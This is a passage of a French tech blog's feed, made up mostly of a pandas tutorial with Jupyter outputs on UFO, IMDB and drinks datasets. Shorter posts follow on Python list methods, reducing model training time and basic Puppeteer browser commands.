18230       NaN
18231       NaN
18232       NaN
18233       RED
18234       NaN
18235       NaN
18236       NaN
18237       NaN
18238       NaN
18239       RED
18240       NaN
Name: Colors Reported, dtype: object
</code></pre><br/>
<p><strong>Comment créer une nouvelle série Pandas dans un dataframe ?</strong></p>
<pre tabindex="0"><code># example of concatenating strings
&#39;ab&#39; + &#39;cd&#39;
</code></pre><pre tabindex="0"><code># created a new column called &#34;Location&#34; with a concatenation of &#34;City&#34; and &#34;State&#34;
ufo[&#39;Location&#39;] = ufo.City + &#39;, &#39; + ufo.State
ufo.head()
</code></pre><p><img src="/images/pandas-5.png" alt="image"></p>
<br/>
<h2 id="parenthèses-pandas">Parenthèses Pandas</h2>
<p><em>Commandes Pandas finissant par des parenthèses</em></p>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code>url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/imdb_1000.csv&#39;
movies = pd.read_csv(url)
</code></pre><pre tabindex="0"><code># Looking at the first 5 rows of the DataFrame
movies.head()
</code></pre><p><img src="/images/pandas-6.png" alt="image"></p>
<pre tabindex="0"><code># This will show descriptive statistics of numeric columns
movies.describe()
</code></pre><p><img src="/images/pandas-7.png" alt="image"></p>
<pre tabindex="0"><code>movies.describe(include=[&#39;float64&#39;])
</code></pre><p><img src="/images/pandas-8.png" alt="image"></p>
<pre tabindex="0"><code># Finding out dimensionality of DataFrame
movies.shape
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>(979, 6)
</code></pre><pre tabindex="0"><code># Finding out data types of each columns
movies.dtypes
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>star_rating       float64
title              object
content_rating     object
genre              object
duration            int64
actors_list        object
dtype: object
</code></pre><pre tabindex="0"><code>type(movies)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>pandas.core.frame.DataFrame
</code></pre><br/>
<p><strong>Les dataframes ont certains attributs et méthodes</strong></p>
<ul>
<li>
<p>Méthodes: avec parenthèses</p>
<ul>
<li>
<p>Orientées action:</p>
<ul>
<li><code>movies.head()</code></li>
<li><code>movies.describe()</code></li>
</ul>
</li>
<li>
<p>Les parenthèses autorisent les arguments optionnels</p>
<ul>
<li><code>movies.describe(include='object')</code></li>
</ul>
</li>
</ul>
</li>
<li>
<p>Attributs: sans parenthèse</p>
<ul>
<li>Orientés description:
<ul>
<li><code>movie.shape</code>
- <code>movie.dtypes</code></li>
</ul>
</li>
</ul>
</li>
</ul>
<br/>
<h2 id="renommer-des-colonnes">Renommer des colonnes</h2>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code>url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/ufo.csv&#39;
ufo = pd.read_csv(url)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-9.png" alt="image"></p>
<pre tabindex="0"><code># To check out only the columns
# It will output a list of columns
ufo.columns
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>Index([&#39;City&#39;, &#39;Colors Reported&#39;, &#39;Shape Reported&#39;, &#39;State&#39;, &#39;Time&#39;], dtype=&#39;object&#39;)
</code></pre><br/>
<p><strong>Méthode 1: Renommer une seule colonne:</strong></p>
<pre tabindex="0"><code># inplace=True to affect DataFrame
ufo.rename(columns = {&#39;Colors Reported&#39;: &#39;Colors_Reported&#39;, &#39;Shape Reported&#39;: &#39;Shape_Reported&#39;}, inplace=True)
</code></pre><pre tabindex="0"><code>ufo.columns
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>Index([&#39;City&#39;, &#39;Colors_Reported&#39;, &#39;Shape_Reported&#39;, &#39;State&#39;, &#39;Time&#39;], dtype=&#39;object&#39;)
</code></pre><br/>
<p><strong>Méthode 2: renommer plusieurs colonnes:</strong></p>
<pre tabindex="0"><code>ufo_cols = [&#39;city&#39;, &#39;colors reported&#39;, &#39;shape reported&#39;, &#39;state&#39;, &#39;time&#39;]
</code></pre><pre tabindex="0"><code>ufo.columns = ufo_cols
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-10.png" alt="image"></p>
<br/>
<p><strong>Méthode 3: Changer les colonnes pendant la lecture:</strong></p>
<pre tabindex="0"><code>url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/ufo.csv&#39;
ufo = pd.read_csv(url, names=ufo_cols, header=0)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-11.png" alt="image"></p>
<br/>
<p><strong>Méthode 4: replacer les espaces avec des underscores pour toutes les colonnes:</strong></p>
<pre tabindex="0"><code>ufo.columns = ufo.columns.str.replace(&#39; &#39;, &#39;_&#39;)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-12.png" alt="image"></p>
<br/>
<h2 id="effacer-une-colonne">Effacer une colonne</h2>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code># Creating pandas DataFrame
url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/ufo.csv&#39;
ufo = pd.read_csv(url)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-13.png" alt="image"></p>
<pre tabindex="0"><code>ufo.shape
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>(18241, 5)
</code></pre><pre tabindex="0"><code># Removing column
# axis=0 row axis
# axis=1 column axis
# inplace=True to effect change
ufo.drop(&#39;Colors Reported&#39;, axis=1, inplace=True)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-14.png" alt="image"></p>
<pre tabindex="0"><code># Removing column
list_drop = [&#39;City&#39;, &#39;State&#39;]
ufo.drop(list_drop, axis=1, inplace=True)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-15.png" alt="image"></p>
<pre tabindex="0"><code># Removing rows 0 and 1
# axis=0 is the default, so technically, you can leave this out
rows = [0, 1]
ufo.drop(rows, axis=0, inplace=True)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-16.png" alt="image"></p>
<br/>
<h2 id="effacer-toutes-les-colonnes-sauf-certaine">Effacer toutes les colonnes sauf certaine</h2>
<pre tabindex="0"><code># df d&#39;origine
a  b  c  d  e  f  g  
1  2  3  4  5  6  7
4  3  7  1  6  9  4
8  9  0  2  4  2  1

# df attendu
a  b
1  2
4  3
8  9

df = df[[&#39;a&#39;,&#39;b&#39;]]
</code></pre><br/>
<h2 id="trier">Trier</h2>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code>url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/imdb_1000.csv&#39;
movies = pd.read_csv(url)
</code></pre><pre tabindex="0"><code>movies.head()
</code></pre><p><img src="/images/pandas-17.png" alt="image"></p>
<pre tabindex="0"><code># sort using sort_values
# sort with numbers first then alphabetical order
movies.title.sort_values()

# alternative sorting
movies[&#39;title&#39;].sort_values()
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>542                   (500) Days of Summer
5                             12 Angry Men
201                       12 Years a Slave
698                              127 Hours
110                  2001: A Space Odyssey
910                                   2046
596                               21 Grams
624                              25th Hour
708                       28 Days Later...
60                                3 Idiots
225                                 3-Iron
570                                    300
555                           3:10 to Yuma
427           4 Months, 3 Weeks and 2 Days
824                                     42
597                                  50/50
203                                  8 1/2
170                       A Beautiful Mind
941                       A Bridge Too Far
571                           A Bronx Tale
266                      A Christmas Story
86                      A Clockwork Orange
716                         A Few Good Men
750                    A Fish Called Wanda
276                   A Fistful of Dollars
612                     A Hard Day&#39;s Night
883                  A History of Violence
869              A Nightmare on Elm Street
865                        A Perfect World
426                              A Prophet
                      ...                 
207       What Ever Happened to Baby Jane?
562            What&#39;s Eating Gilbert Grape
719                When Harry Met Sally...
649                      Where Eagles Dare
33                                Whiplash
669                Who Framed Roger Rabbit
219        Who&#39;s Afraid of Virginia Woolf?
127                      Wild Strawberries
497    Willy Wonka &amp; the Chocolate Factory
270                        Wings of Desire
483                           Withnail &amp; I
920                                Witness
65             Witness for the Prosecution
970                            Wonder Boys
518                         Wreck-It Ralph
954                                  X-Men
248             X-Men: Days of Future Past
532                     X-Men: First Class
871                                     X2
695                      Y Tu Mama Tambien
403                             Ying xiong
235                                Yip Man
96                                 Yojimbo
280                     Young Frankenstein
535                                  Zelig
955                       Zero Dark Thirty
677                                 Zodiac
615                             Zombieland
526                                   Zulu
864                                  [Rec]
Name: title, dtype: object
</code></pre><pre tabindex="0"><code># returns a series
type(movies[&#39;title&#39;].sort_values())
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>pandas.core.series.Series
</code></pre><br/>
<p><strong>Tirer une colonne:</strong></p>
<pre tabindex="0"><code># sort in ascending=False
# this does not affect the underlying data
movies.title.sort_values(ascending=False)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>864                                  [Rec]
526                                   Zulu
615                             Zombieland
677                                 Zodiac
955                       Zero Dark Thirty
535                                  Zelig
280                     Young Frankenstein
96                                 Yojimbo
235                                Yip Man
403                             Ying xiong
695                      Y Tu Mama Tambien
871                                     X2
532                     X-Men: First Class
248             X-Men: Days of Future Past
954                                  X-Men
518                         Wreck-It Ralph
970                            Wonder Boys
65             Witness for the Prosecution
920                                Witness
483                           Withnail &amp; I
270                        Wings of Desire
497    Willy Wonka &amp; the Chocolate Factory
127                      Wild Strawberries
219        Who&#39;s Afraid of Virginia Woolf?
669                Who Framed Roger Rabbit
33                                Whiplash
649                      Where Eagles Dare
719                When Harry Met Sally...
562            What&#39;s Eating Gilbert Grape
207       What Ever Happened to Baby Jane?
                      ...                 
426                              A Prophet
865                        A Perfect World
869              A Nightmare on Elm Street
883                  A History of Violence
612                     A Hard Day&#39;s Night
276                   A Fistful of Dollars
750                    A Fish Called Wanda
716                         A Few Good Men
86                      A Clockwork Orange
266                      A Christmas Story
571                           A Bronx Tale
941                       A Bridge Too Far
170                       A Beautiful Mind
203                                  8 1/2
597                                  50/50
824                                     42
427           4 Months, 3 Weeks and 2 Days
555                           3:10 to Yuma
570                                    300
225                                 3-Iron
60                                3 Idiots
708                       28 Days Later...
624                              25th Hour
596                               21 Grams
910                                   2046
110                  2001: A Space Odyssey
698                              127 Hours
201                       12 Years a Slave
5                             12 Angry Men
542                   (500) Days of Summer
Name: title, dtype: object
</code></pre><br/>
<p><strong>Trieer un DataFrame en utilisant une colonne particulière:</strong></p>
<pre tabindex="0"><code>movies.sort_values(&#39;title&#39;)
</code></pre><p><img src="/images/pandas-18.png" alt="image"></p>
<pre tabindex="0"><code>movies.sort_values(&#39;duration&#39;, ascending=False)
</code></pre><p><img src="/images/pandas-19.png" alt="image"></p>
<br/>
<p><strong>Trier un DataFrame en utilisant plusieurs colonnes:</strong></p>
<pre tabindex="0"><code># create list of columns
# sort using content_rating
# then within content_rating, sort by duration
columns = [&#39;content_rating&#39;, &#39;duration&#39;]

# sort column
movies.sort_values(columns)
</code></pre><p><img src="/images/pandas-20.png" alt="image"></p>
<br/>
<h2 id="filtrer">Filtrer</h2>
<p><em>Filtrer les lignes d&rsquo;un dataframe Pandas par rapport aux valeurs d&rsquo;une colonne</em></p>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code># url

url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/imdb_1000.csv&#39;

# create DataFrame called movies
movies = pd.read_csv(url)
</code></pre><pre tabindex="0"><code>movies.head()
</code></pre><p><img src="/images/pandas-21.png" alt="image"></p>
<pre tabindex="0"><code>movies.shape
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>(979, 6)
</code></pre><pre tabindex="0"><code># booleans
type(True)
type(False)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>bool
</code></pre><p>On veut créer une liste de boolean avec le même nombre de lignes que le dataframe movies</p>
<ul>
<li>Le boolean vaudra true si la duration &gt; 200</li>
<li>false dans le cas contraire</li>
</ul>
<pre tabindex="0"><code># create list
booleans = []

# loop
for length in movies.duration:
    if length &gt;= 200:
        booleans.append(True)
    else:
        booleans.append(False)
</code></pre><pre tabindex="0"><code>booleans[0:5]
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>[False, False, True, False, False]
</code></pre><pre tabindex="0"><code># len(booleans) is the same as the number of rows in movies&#39; DataFrame
len(booleans)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>979
</code></pre><pre tabindex="0"><code># convert booleans into a Pandas series
is_long = pd.Series(booleans)
</code></pre><pre tabindex="0"><code>is_long.head()
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0    False
1    False
2     True
3    False
4    False
dtype: bool
</code></pre><pre tabindex="0"><code># pulls out genre
movies[&#39;genre&#39;]
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0          Crime
1          Crime
2          Crime
3         Action
4          Crime
5          Drama
6        Western
7      Adventure
8      Biography
9          Drama
10     Adventure
11        Action
12        Action
13         Drama
14     Adventure
15     Adventure
16         Drama
17         Drama
18     Biography
19        Action
20        Action
21         Crime
22         Drama
23         Crime
24         Drama
25        Comedy
26       Western
27         Drama
28         Crime
29        Comedy
         ...    
949       Comedy
950        Crime
951        Drama
952       Comedy
953    Adventure
954       Action
955        Drama
956       Comedy
957       Comedy
958        Drama
959       Comedy
960       Comedy
961    Biography
962       Comedy
963       Action
964    Biography
965      Mystery
966    Animation
967       Action
968        Drama
969        Crime
970        Drama
971       Comedy
972        Drama
973        Drama
974       Comedy
975    Adventure
976       Action
977       Horror
978        Crime
Name: genre, dtype: object
</code></pre><pre tabindex="0"><code># this pulls out duration &gt;= 200mins
movies[is_long]
</code></pre><p><img src="/images/pandas-22.png" alt="image"></p>
<br/>
<p><strong>Méthode plus rapide sans for loop:</strong></p>
<pre tabindex="0"><code># this line of code replaces the for loop
# when you use a series name using pandas and use a comparison operator, it will loop through each row
is_long = movies.duration &gt;= 200
is_long.head()
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0    False
1    False
2     True
3    False
4    False
Name: duration, dtype: bool
</code></pre><pre tabindex="0"><code>movies[is_long]
</code></pre><p><img src="/images/pandas-23.png" alt="image"></p>
<br/>
<p><strong>Méthode encore meilleure pour simplifier <code>movies[is_long]</code>:</strong></p>
<pre tabindex="0"><code>movies[movies.duration &gt;= 200]
</code></pre><p><img src="/images/pandas-24.png" alt="image"></p>
<br/>
<p><strong>Conseil additionnel: on veut étudier la duration et seulement le genre au lieu de toutes les colonnes</strong></p>
<pre tabindex="0"><code># this is a DataFrame, we use dot or bracket notation to get what we want
movies[movies.duration &gt;= 200][&#39;genre&#39;]
movies[movies.duration &gt;= 200].genre
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>2          Crime
7      Adventure
17         Drama
78         Crime
85     Adventure
142    Adventure
157        Drama
204    Adventure
445    Adventure
476        Drama
630    Biography
767       Action
Name: genre, dtype: object
</code></pre><pre tabindex="0"><code># best practice is to use .loc instead of what we did above by selecting columns
movies.loc[movies.duration &gt;= 200, &#39;genre&#39;]
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>2          Crime
7      Adventure
17         Drama
78         Crime
85     Adventure
142    Adventure
157        Drama
204    Adventure
445    Adventure
476        Drama
630    Biography
767       Action
Name: genre, dtype: object
</code></pre><br/>
<h2 id="filtres-multi-critères">Filtres multi-critères</h2>
<p><em>Appliquer des filtres multi-critères sur un dataframe Pandas</em></p>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code>url = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/imdb_1000.csv&#39;

# Create movies DataFrame
movies = pd.read_csv(url)
</code></pre><pre tabindex="0"><code>movies.head()
</code></pre><p><img src="/images/pandas-25.png" alt="image"></p>
<pre tabindex="0"><code>movies[movies.duration &gt;= 200]
</code></pre><p><img src="/images/pandas-26.png" alt="image"></p>
<p>2 conditions</p>
<ul>
<li>duration &gt; 200</li>
<li>Seulement genre Drama</li>
</ul>
<pre tabindex="0"><code>True or False
Output: True

True or True
Output: True

False or False
Output: False

True and True
Output: True

True and False
Output: False
</code></pre><pre tabindex="0"><code># when you wrap conditions in parantheses, you give order
# you do those in brackets first before &#39;and&#39;
# AND
movies[(movies.duration &gt;= 200) &amp; (movies.genre == &#39;Drama&#39;)]
</code></pre><p><img src="/images/pandas-27.png" alt="image"></p>
<pre tabindex="0"><code># OR 
movies[(movies.duration &gt;= 200) | (movies.genre == &#39;Drama&#39;)]
</code></pre><p><img src="/images/pandas-28.png" alt="image"></p>
<pre tabindex="0"><code>(movies.duration &gt;= 200) | (movies.genre == &#39;Drama&#39;)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0      False
1      False
2       True
3      False
4      False
5       True
6      False
7       True
8      False
9       True
10     False
11     False
12     False
13      True
14     False
15     False
16      True
17      True
18     False
19     False
20     False
21     False
22      True
23     False
24      True
25     False
26     False
27      True
28     False
29     False
       ...  
949    False
950    False
951     True
952    False
953    False
954    False
955     True
956    False
957    False
958     True
959    False
960    False
961    False
962    False
963    False
964    False
965    False
966    False
967    False
968     True
969    False
970     True
971    False
972     True
973     True
974    False
975    False
976    False
977    False
978    False
dtype: bool
</code></pre><pre tabindex="0"><code>(movies.duration &gt;= 200) &amp; (movies.genre == &#39;Drama&#39;)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0      False
1      False
2      False
3      False
4      False
5      False
6      False
7      False
8      False
9      False
10     False
11     False
12     False
13     False
14     False
15     False
16     False
17      True
18     False
19     False
20     False
21     False
22     False
23     False
24     False
25     False
26     False
27     False
28     False
29     False
       ...  
949    False
950    False
951    False
952    False
953    False
954    False
955    False
956    False
957    False
958    False
959    False
960    False
961    False
962    False
963    False
964    False
965    False
966    False
967    False
968    False
969    False
970    False
971    False
972    False
973    False
974    False
975    False
976    False
977    False
978    False
dtype: bool
</code></pre><br/>
<p><strong>Et si on veut les genres crime, drama, et action?</strong></p>
<pre tabindex="0"><code># slow method
movies[(movies.genre == &#39;Crime&#39;) | (movies.genre == &#39;Drama&#39;) | (movies.genre == &#39;Action&#39;)]
</code></pre><p><img src="/images/pandas-29.png" alt="image"></p>
<pre tabindex="0"><code># fast method
filter_list = [&#39;Crime&#39;, &#39;Drama&#39;, &#39;Action&#39;]
movies[movies.genre.isin(filter_list)]
</code></pre><p><img src="/images/pandas-30.png" alt="image"></p>
<br/>
<h2 id="examiner-un-dataset">Examiner un dataset</h2>
<p><em>Lire un sous-ensemble de colonnes ou lignes</em></p>
<pre tabindex="0"><code>import pandas as pd
</code></pre><pre tabindex="0"><code>link = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/ufo.csv&#39;
ufo = pd.read_csv(link)
</code></pre><pre tabindex="0"><code>ufo.columns
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>Index([&#39;City&#39;, &#39;Colors Reported&#39;, &#39;Shape Reported&#39;, &#39;State&#39;, &#39;Time&#39;], dtype=&#39;object&#39;)
</code></pre><pre tabindex="0"><code># reference using String
cols = [&#39;City&#39;, &#39;State&#39;]

ufo = pd.read_csv(link, usecols=cols)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-31.png" alt="image"></p>
<pre tabindex="0"><code># reference using position (Integer)
cols2 = [0, 4]

ufo = pd.read_csv(link, usecols=cols2)
</code></pre><pre tabindex="0"><code>ufo.head()
</code></pre><p><img src="/images/pandas-32.png" alt="image"></p>
<pre tabindex="0"><code># if you only want certain number of rows
ufo = pd.read_csv(link, nrows=3)
</code></pre><pre tabindex="0"><code>ufo
</code></pre><p><img src="/images/pandas-33.png" alt="image"></p>
<p><em>Itérer dans une série et un dataframe</em></p>
<pre tabindex="0"><code># intuitive method
for c in ufo.City:
    print(c)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>Ithaca
Willingboro
Holyoke
</code></pre><pre tabindex="0"><code># pandas method
# you can grab index and row
for index, row in ufo.iterrows():
    print(index, row.City, row.State)
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>0 Ithaca NY
1 Willingboro NJ
2 Holyoke CO
</code></pre><p><em>Retirer les colonnes non-numeriques d&rsquo;un DataFrame</em></p>
<pre tabindex="0"><code>link = &#39;https://raw.githubusercontent.com/justmarkham/pandas-videos/master/data/drinks.csv&#39;
drinks = pd.read_csv(link)
</code></pre><pre tabindex="0"><code># you have 2 non-numeric columns
drinks.dtypes
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>country                          object
beer_servings                     int64
spirit_servings                   int64
wine_servings                     int64
total_litres_of_pure_alcohol    float64
continent                        object
dtype: object
</code></pre><pre tabindex="0"><code>import numpy as np
drinks.select_dtypes(include=[np.number]).dtypes
</code></pre><p>Jupyter Output:</p>
<pre tabindex="0"><code>beer_servings                     int64
spirit_servings                   int64
wine_servings                     int64
total_litres_of_pure_alcohol    float64
dtype: object
</code></pre><br/>
<h2 id="numéro-index-et-contenu-de-la-ligne-lors-dune-itération">Numéro, index et contenu de la ligne lors d&rsquo;une itération</h2>
<p>Pour obtenir le numéro, l&rsquo;index et le contenu de la ligne lors d&rsquo;une itération on peut utiliser le code suivant:</p>
<pre tabindex="0"><code>for line_number, (idx, row) in enumerate(df.iterrows()):
	...
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Différence entre append et extend</title>
            <link>https://leandeep.com/diff%C3%A9rence-entre-append-et-extend/</link>
            <pubDate>Wed, 13 Feb 2019 21:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/diff%C3%A9rence-entre-append-et-extend/</guid>
            <description>&lt;h2 id=&#34;append&#34;&gt;Append&lt;/h2&gt;
&lt;p&gt;Ajoute un object en bout de liste:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;prenoms = [&amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;, &amp;#34;toto&amp;#34;]
prenoms.append([&amp;#34;tete&amp;#34;, &amp;#34;tutu&amp;#34;])
print(prenoms)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Résultat:
&lt;code&gt;[&amp;quot;titi&amp;quot;, &amp;quot;tata&amp;quot;, &amp;quot;toto&amp;quot;, [&amp;quot;tete&amp;quot;, &amp;quot;tutu&amp;quot;]]&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;extend&#34;&gt;Extend&lt;/h2&gt;
&lt;p&gt;Étend la liste en ajoutant les éléments d&amp;rsquo;un itérable&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;prenoms = [&amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;, &amp;#34;toto&amp;#34;]
prenoms.extend([&amp;#34;tete&amp;#34;, &amp;#34;tutu&amp;#34;])
print(prenoms)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Résultat:
&lt;code&gt;[&amp;quot;titi&amp;quot;, &amp;quot;tata&amp;quot;, &amp;quot;toto&amp;quot;, &amp;quot;tete&amp;quot;, &amp;quot;tutu&amp;quot;]&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="append">Append</h2>
<p>Ajoute un object en bout de liste:</p>
<pre tabindex="0"><code>prenoms = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]
prenoms.append([&#34;tete&#34;, &#34;tutu&#34;])
print(prenoms)
</code></pre><p>Résultat:
<code>[&quot;titi&quot;, &quot;tata&quot;, &quot;toto&quot;, [&quot;tete&quot;, &quot;tutu&quot;]]</code></p>
<br/>
<h2 id="extend">Extend</h2>
<p>Étend la liste en ajoutant les éléments d&rsquo;un itérable</p>
<pre tabindex="0"><code>prenoms = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]
prenoms.extend([&#34;tete&#34;, &#34;tutu&#34;])
print(prenoms)
</code></pre><p>Résultat:
<code>[&quot;titi&quot;, &quot;tata&quot;, &quot;toto&quot;, &quot;tete&quot;, &quot;tutu&quot;]</code></p>
]]></content>
        </item>
        
        <item>
            <title>Comment réduire la durée d&#39;entrainement d&#39;un modèle ?</title>
            <link>https://leandeep.com/comment-r%C3%A9duire-la-dur%C3%A9e-dentrainement-dun-mod%C3%A8le/</link>
            <pubDate>Wed, 13 Feb 2019 20:11:00 +0000</pubDate>
            
            <guid>https://leandeep.com/comment-r%C3%A9duire-la-dur%C3%A9e-dentrainement-dun-mod%C3%A8le/</guid>
            <description>&lt;p&gt;Supposons que nous ayons un dataset composé de 1000 colonnes et comportant 1 million de lignes pour un sujet de classification, comment réduire sa dimension pour réduire les temps d&amp;rsquo;entrainement ? On suppose également que la machine qui va faire l&amp;rsquo;entrainement n&amp;rsquo;a pas énormément de RAM&amp;hellip;&lt;/p&gt;
&lt;p&gt;Voici les différentes options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Commencer par fermer toutes les applications qui ne servent à rien&lt;/li&gt;
&lt;li&gt;Echantillonner aléatoirement le dataset. C&amp;rsquo;est-à-dire créer plusieurs petits datasets de dimension M(300 000, 1 000) et faire plusieurs entrainements&lt;/li&gt;
&lt;li&gt;On peut séparer les variables numériques et catégorielles et supprimer les variables corrélées. Plus précisément, pour les variables numériques on utilise la corrélation et pour les variables catégorielles on utilise le test du chi 2.&lt;/li&gt;
&lt;li&gt;On peut utiliser le PCA et sélectionner les composants qui expliquent le maximum de variance dans le dataset&lt;/li&gt;
&lt;li&gt;On peut utiliser l&amp;rsquo;algorithme de Vowpal Wabbit (online learning)&lt;/li&gt;
&lt;li&gt;On peut construire un modèle linéaire en utilisant une descente de gradient stochastique&lt;/li&gt;
&lt;li&gt;On peut aussi utiliser ses compétences métier pour sélectionner les features qui vont impacter le plus modèle. C&amp;rsquo;est une approche qui fait appel à l&amp;rsquo;intuition.&lt;/li&gt;
&lt;/ul&gt;</description>
            <content type="html"><![CDATA[<p>Supposons que nous ayons un dataset composé de 1000 colonnes et comportant 1 million de lignes pour un sujet de classification, comment réduire sa dimension pour réduire les temps d&rsquo;entrainement ? On suppose également que la machine qui va faire l&rsquo;entrainement n&rsquo;a pas énormément de RAM&hellip;</p>
<p>Voici les différentes options:</p>
<ul>
<li>Commencer par fermer toutes les applications qui ne servent à rien</li>
<li>Echantillonner aléatoirement le dataset. C&rsquo;est-à-dire créer plusieurs petits datasets de dimension M(300 000, 1 000) et faire plusieurs entrainements</li>
<li>On peut séparer les variables numériques et catégorielles et supprimer les variables corrélées. Plus précisément, pour les variables numériques on utilise la corrélation et pour les variables catégorielles on utilise le test du chi 2.</li>
<li>On peut utiliser le PCA et sélectionner les composants qui expliquent le maximum de variance dans le dataset</li>
<li>On peut utiliser l&rsquo;algorithme de Vowpal Wabbit (online learning)</li>
<li>On peut construire un modèle linéaire en utilisant une descente de gradient stochastique</li>
<li>On peut aussi utiliser ses compétences métier pour sélectionner les features qui vont impacter le plus modèle. C&rsquo;est une approche qui fait appel à l&rsquo;intuition.</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Commandes utiles Puppeteer </title>
            <link>https://leandeep.com/commandes-utiles-puppeteer/</link>
            <pubDate>Sat, 09 Feb 2019 21:32:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-utiles-puppeteer/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&amp;ldquo;Puppeteer ou le remplaçant de Selenium.&amp;rdquo;&lt;/strong&gt;
Dans cet article plutôt rapide, on retrouve les commandes de base pour créer un premier petit script qui va piloter un Chrome Headless.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;initialiser-un-browser-non-headless&#34;&gt;Initialiser un browser non headless&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;try {
    (async () =&amp;gt; {
		const browser = await puppeteer.launch({headless: false})
        
        [...]
       
	})()

} catch (err) {
    console.error(err)
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;naviguer-vers-une-page&#34;&gt;Naviguer vers une page&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const page = await browser.newPage()
await page.goto(&amp;#34;https://url_du_site&amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;ajouter-du-contenu-dans-un-input-type-text&#34;&gt;Ajouter du contenu dans un input type text&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;await page.type(&amp;#39;#input_search&amp;#39;, &amp;#39;text_a_ajouter&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;cliquer-sur-un-bouton&#34;&gt;Cliquer sur un bouton&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;await page.click(&amp;#39;#buttsearch&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;chercher-dans-tout-le-corps-dune-page-si-un-pattern-existe&#34;&gt;Chercher dans tout le corps d&amp;rsquo;une page si un pattern existe&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const found = (await page.content()).match(/Chiffre d\&amp;#39;affaires/) 
if (found) {
	
    [...]

}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;sélectionner-un-élément-par-href&#34;&gt;Sélectionner un élément par href&lt;/h2&gt;
